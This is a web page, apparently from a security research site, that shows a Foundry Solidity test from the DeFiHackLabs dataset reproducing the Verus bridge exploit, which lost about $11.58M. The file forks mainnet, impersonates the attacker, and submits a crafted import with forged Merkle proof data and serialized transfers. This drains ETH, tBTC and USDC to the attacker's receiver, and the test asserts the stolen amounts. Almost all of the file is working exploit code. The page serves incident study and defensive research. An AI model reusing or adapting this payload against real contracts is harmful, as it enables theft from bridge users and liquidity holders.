Public reproduction file
src/test/2026-05/VerusBridge_exp.sol
Public reproduction file for dataset entry VerusBridge.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import {Test} from "forge-std/Test.sol";5import {console} from "forge-std/console.sol";6import {IERC20} from "forge-std/interfaces/IERC20.sol";7// @KeyInfo - Total Lost : ~$11.58M8// Attacker : https://etherscan.io/address/0x5abb91b9c01a5ed3ae762d32b236595b459d57779// Attack Contract : https://etherscan.io/address/0x65cb8b128bf6e690761044cceca422bb239c25f910// Vulnerable Contract : https://etherscan.io/address/0x71518580f36feceffe0721f06ba4703218cd7f6311// Attack Tx : https://etherscan.io/tx/0x6990f01720f57fc515d0e976a0c4f8157e0a9529194c4c15d190e98d087eb32112//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x71518580f36feceffe0721f06ba4703218cd7f63#code15//16// @Analysis17// Post-mortem : https://x.com/VerusCoin/status/205682944412421365219contract VerusBridgeTest is Test {20 bytes32 internal constant TX_HASH = 0x6990f01720f57fc515d0e976a0c4f8157e0a9529194c4c15d190e98d087eb321;21 uint256 internal constant FORK_BLOCK = 25_118_334;22 address internal constant ATTACKER = 0x5aBb91B9c01A5Ed3aE762d32B236595B459D5777;23 address internal constant ATTACK_RECEIVER = 0x65Cb8b128Bf6e690761044CCECA422bb239C25F9;24 address internal constant BRIDGE_PROXY = 0x71518580f36FeCEFfE0721F06bA4703218cD7F63;25 address internal constant SUBMIT_IMPORTS = 0xa045cF963b79833faf445F555Ee1a6812d6fC87f;26 address internal constant VERUS_PROOF = 0x5E8060eCBf415AA25f12c1d67FdE832BD87DCFA1;27 address internal constant TOKEN_MANAGER = 0x08F0fBcc068C70A29326094110769ee5F1D0107d;28 address internal constant SERIALIZER = 0x796F4236c96E222B727df27978b3A77020356b88;29 address internal constant HASH_LIB = 0x40Ec84cA82fbF1b4D6A8EDb02BfFCf3Eb0400aAe;30 address internal constant MMR_LIB = 0x918d6f7EFE5a1707B83a2f0cF016CC5cf7983fFb;31 IVerusBridge internal constant BRIDGE = IVerusBridge(BRIDGE_PROXY);32 IERC20 internal constant TBTC = IERC20(0x18084fbA666a33d37592fA2633fD49a74DD93a88);33 IERC20 internal constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);35 address internal constant VERUS_ETH_CURRENCY = 0x454CB83913D688795E237837d30258d11ea7c752;36 address internal constant VERUS_TBTC_CURRENCY = 0xf87F6d4412dAd7c4452e8293850Df5327f02C308;37 address internal constant VERUS_USDC_CURRENCY = 0x1Bd15cDbf0B5B8c9CC361FFBaf6D76cc2CdfD667;39 uint256 internal constant ETH_DRAINED = 1_625_366_886_490_000_000_000;40 uint256 internal constant TBTC_DRAINED = 103_567_660_170_000_000_000;41 uint256 internal constant USDC_DRAINED = 147_658_836_798;43 uint64 internal constant ETH_IMPORT_AMOUNT = 162_536_688_649;44 uint64 internal constant TBTC_IMPORT_AMOUNT = 10_356_766_017;45 uint64 internal constant USDC_IMPORT_AMOUNT = 14_765_883_679_887;46 uint64 internal constant STANDARD_IMPORT_FEE = 20_000;47 uint64 internal constant USDC_IMPORT_FEE = 20_308;49 bytes32 internal constant CONFIRMED_STATE_ROOT = 0x2d61f232810a3b44da7a5a84253f8057d0cba756122fa50bb5f61fd6247fa757;51 function setUp() public {52 vm.createSelectFork("mainnet", FORK_BLOCK);53 vm.label(ATTACKER, "Attacker");54 vm.label(ATTACK_RECEIVER, "Attack Receiver");55 vm.label(BRIDGE_PROXY, "Verus Bridge Proxy");56 vm.label(SUBMIT_IMPORTS, "SubmitImports");57 vm.label(VERUS_PROOF, "VerusProof");58 vm.label(TOKEN_MANAGER, "TokenManager");59 vm.label(SERIALIZER, "Serializer");60 vm.label(HASH_LIB, "HashLib");61 vm.label(MMR_LIB, "MMRLib");62 vm.label(address(TBTC), "tBTC");63 vm.label(address(USDC), "USDC");64 }66 function testExploit() public {67 uint256 beforeEth = ATTACK_RECEIVER.balance;68 uint256 beforeTbtc = TBTC.balanceOf(ATTACK_RECEIVER);69 uint256 beforeUsdc = USDC.balanceOf(ATTACK_RECEIVER);71 vm.prank(ATTACKER, ATTACKER);72 // Bridge proxy -> SubmitImports._createImports -> VerusProof.proveImports -> TokenManager.processTransactions.73 BRIDGE.submitImports(_attackImport());75 uint256 stolenEth = ATTACK_RECEIVER.balance - beforeEth;76 uint256 stolenTbtc = TBTC.balanceOf(ATTACK_RECEIVER) - beforeTbtc;77 uint256 stolenUsdc = USDC.balanceOf(ATTACK_RECEIVER) - beforeUsdc;79 assertEq(stolenEth, ETH_DRAINED, "ETH drain mismatch");80 assertEq(stolenTbtc, TBTC_DRAINED, "tBTC drain mismatch");81 assertEq(stolenUsdc, USDC_DRAINED, "USDC drain mismatch");83 console.log("Stolen ETH", stolenEth);84 console.log("Stolen tBTC", stolenTbtc);85 console.log("Stolen USDC", stolenUsdc);86 }88 function _attackImport() internal pure returns (VerusObjects.CReserveTransferImport memory importData) {89 importData.partialtransactionproof.version = 1;90 importData.partialtransactionproof.typeC = 2;92 VerusObjects.CTXProof[] memory txproof = new VerusObjects.CTXProof[](3);93 bytes32[] memory branch = new bytes32[](4);94 branch[0] = 0xebb1cc631a6dd0c10e88de4393fe8573574b979e776eea6318cf41a7c6ca8d8e;95 branch[1] = 0xf1f8f848c560dd71380fc34a00ab661e7a753b91356d1c4656b3877bff5255e4;96 branch[2] = 0xa6993e48754abd6f4d2dd208b818a18dec47771e3151920cb3bfb5488cf3b87d;97 branch[3] = 0x181fe84a398c5f5cf083a7c92441ec034de08678a53675f32a517245536e5965;98 txproof[0].branchType = 2;99 txproof[0].proofSequence.CMerkleBranchBase = 2;100 txproof[0].proofSequence.nIndex = 1;101 txproof[0].proofSequence.nSize = 9;102 txproof[0].proofSequence.extraHashes = 0;103 txproof[0].proofSequence.branch = branch;105 branch = new bytes32[](1);106 branch[0] = 0x6e45c5038342ced986452e43a80617badb98f7906e48fc839ebc000000000000;107 txproof[1].branchType = 2;108 txproof[1].proofSequence.CMerkleBranchBase = 2;109 txproof[1].proofSequence.nIndex = 0;110 txproof[1].proofSequence.nSize = 2;111 txproof[1].proofSequence.extraHashes = 0;112 txproof[1].proofSequence.branch = branch;114 branch = new bytes32[](9);115 branch[0] = 0xf90c17804a390000000000000000000000000000000000000000000000000000;116 branch[1] = 0xfb9c2b9e70658b5a886b661821e3f90ef16dda8df940e2d0400c228a7b5287ff;117 branch[2] = 0x936e3cf4fc720000000000000000000000000000000000000000000000000000;118 branch[3] = 0x87634e882e06bc59986d86d2e0c38175777ea653e5424fa3d3a5ca046da588e4;119 branch[4] = 0x04ae45c0b4e1000000000000000000000e976b03a8d219000000000000000000;120 branch[5] = 0x6c2cafef2a0fb9abe5cdf497f93b8c61e54c3ed9c4135121a2766c84cb356ead;121 branch[6] = 0x36950b3220ceba000000000000000000d0665203cecf350f0000000000000000;122 branch[7] = 0x147fecfc3fd17087e46247f14d275c1c717a2ff3b8aa5411c432659391edc7d3;123 branch[8] = 0x4ca17e9cd202da0b1300000000000000021fd2082005b8f5447a0d0000000000;124 txproof[2].branchType = 3;125 txproof[2].proofSequence.CMerkleBranchBase = 3;126 txproof[2].proofSequence.nIndex = 4_071_017;127 txproof[2].proofSequence.nSize = 4_071_020;128 txproof[2].proofSequence.extraHashes = 1;129 txproof[2].proofSequence.branch = branch;130 importData.partialtransactionproof.txproof = txproof;132 VerusObjects.CComponents[] memory components = new VerusObjects.CComponents[](2);133 VerusObjects.CTXProof[] memory elProof = new VerusObjects.CTXProof[](1);135 components[0].elType = 1;136 components[0].elIdx = 0;137 components[0].elVchObj =138 hex"33a7f5b934fca59603d449337455e32d68b37dd8a5bc7b73d7c3c74d98e699f8010400000085202f890100000003000000000000000000000000000000861e3e000000000000000000";140 branch = new bytes32[](3);141 branch[0] = 0xe1d6e5bc258ce04b898310a3ede4518dbe08934f3feada389b5045265d453303;142 branch[1] = 0xf1b10e17a45cf67db3c78dc66badc5509cc660b821ae11790a6888c4ebd977fa;143 branch[2] = 0x9f7951aa385e9d4b6dc797b7aada3494b383c42544da2484b5d965d7aaac1d19;144 elProof[0].branchType = 2;145 elProof[0].proofSequence.CMerkleBranchBase = 2;146 elProof[0].proofSequence.nIndex = 0;147 elProof[0].proofSequence.nSize = 6;148 elProof[0].proofSequence.extraHashes = 0;149 elProof[0].proofSequence.branch = branch;150 components[0].elProof = elProof;152 elProof = new VerusObjects.CTXProof[](1);153 components[1].elType = 4;154 components[1].elIdx = 1;155 components[1].elVchObj = hex"0000000000000000b01a04030001011452047d0db35c330271aae70bedce996b5239ca5ccc4c9104030c01011452047d0db35c330271aae70bedce99"156 hex"6b5239ca5c4c75010008001af5b8015c64d39ab44c60ead8317f9f5a9b6c4c00a37ecd7f80fdbe3e5096124e7c8ca045b0b9e9e58b5595ee53ca9f3d96458145"157 hex"4cb83913d688795e237837d30258d11ea7c752454cb83913d688795e237837d30258d11ea7c7520000000000000300000080f7b73180f7b73100000075";159 branch = new bytes32[](2);160 branch[0] = 0xaaaff00a70df45727c6002e4c4dc57f0e2a1f58f0cab1a8c805a1d190c0916be;161 branch[1] = 0xe546fdbe2f25ec48d7b08bffc97c3d261cfaab94110f6721ddf918595ecb1148;162 elProof[0].branchType = 2;163 elProof[0].proofSequence.CMerkleBranchBase = 2;164 elProof[0].proofSequence.nIndex = 4;165 elProof[0].proofSequence.nSize = 6;166 elProof[0].proofSequence.extraHashes = 0;167 elProof[0].proofSequence.branch = branch;168 components[1].elProof = elProof;169 importData.partialtransactionproof.components = components;171 bytes memory ethAddressDestination =172 bytes.concat(bytes1(uint8(9)), bytes1(uint8(20)), abi.encodePacked(ATTACK_RECEIVER));174 importData.serializedTransfers = bytes.concat(175 _writeVarInt(1),176 abi.encodePacked(VERUS_ETH_CURRENCY),177 _writeVarInt(ETH_IMPORT_AMOUNT),178 _writeVarInt(1),179 abi.encodePacked(VERUS_ETH_CURRENCY),180 _writeVarInt(STANDARD_IMPORT_FEE),181 ethAddressDestination,182 abi.encodePacked(VERUS_ETH_CURRENCY),183 _writeVarInt(1),184 abi.encodePacked(VERUS_TBTC_CURRENCY),185 _writeVarInt(TBTC_IMPORT_AMOUNT),186 _writeVarInt(1),187 abi.encodePacked(VERUS_ETH_CURRENCY),188 _writeVarInt(STANDARD_IMPORT_FEE),189 ethAddressDestination,190 abi.encodePacked(VERUS_ETH_CURRENCY),191 _writeVarInt(1),192 abi.encodePacked(VERUS_USDC_CURRENCY),193 _writeVarInt(USDC_IMPORT_AMOUNT),194 _writeVarInt(1),195 abi.encodePacked(VERUS_ETH_CURRENCY),196 _writeVarInt(USDC_IMPORT_FEE),197 ethAddressDestination,198 abi.encodePacked(VERUS_ETH_CURRENCY)199 );200 }202 function _writeVarInt(uint256 value) internal pure returns (bytes memory out) {203 while (true) {204 uint8 b = uint8(value & 0x7f);205 if (out.length != 0) b = uint8(uint256(b) | 0x80);206 out = bytes.concat(abi.encodePacked(b), out);207 if (value <= 0x7f) break;208 value = (value >> 7) - 1;209 }210 }211}213library VerusObjects {214 struct CReserveTransferImport {215 CPtransactionproof partialtransactionproof;216 bytes serializedTransfers;217 }219 struct CMerkleBranch {220 uint8 CMerkleBranchBase;221 uint32 nIndex;222 uint32 nSize;223 uint8 extraHashes;224 bytes32[] branch;225 }227 struct CTXProof {228 uint8 branchType;229 CMerkleBranch proofSequence;230 }232 struct CComponents {233 uint8 elType;234 uint8 elIdx;235 bytes elVchObj;236 CTXProof[] elProof;237 }239 struct CPtransactionproof {240 uint8 version;241 uint8 typeC;242 CTXProof[] txproof;243 CComponents[] components;244 }245}247interface IVerusBridge {248 // 0x8c49b257: proxy slices calldata and delegatecalls contracts[8] with _createImports(bytes).249 function submitImports(VerusObjects.CReserveTransferImport calldata data) external;250}Analysis
Dataset entry
Public Foundry test for “VerusBridge” (2026-05-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
- src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines
Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5abb91b9c01a5ed3ae762d32b236595b459d5777
- Attack Contract
0x65cb8b128bf6e690761044cceca422bb239c25f9
- Vulnerable Contract
0x71518580f36feceffe0721f06ba4703218cd7f63
- Attack Tx
0x6990f01720f57fc515d0e976a0c4f8157e0a9529194c4c15d190e98d087eb321
- Post: https://x.com/VerusCoin/status/2056829444124213652
- Explorer: https://etherscan.io/address/0x5abb91b9c01a5ed3ae762d32b236595b459d5777
- Explorer: https://etherscan.io/address/0x65cb8b128bf6e690761044cceca422bb239c25f9
- Explorer: https://etherscan.io/address/0x71518580f36feceffe0721f06ba4703218cd7f63
- Explorer: https://etherscan.io/address/0x71518580f36feceffe0721f06ba4703218cd7f63#code
File record
- Name
- VerusBridge
- Path
- src/test/2026-05/VerusBridge_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 42db2b7419dda0fb695c19696903e232fbf6e194
- Language
- Solidity
- Size
- 251 lines
- Date
- 2026-05-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/VerusBridge_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 42db2b7419dda0fb695c19696903e232fbf6e194, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.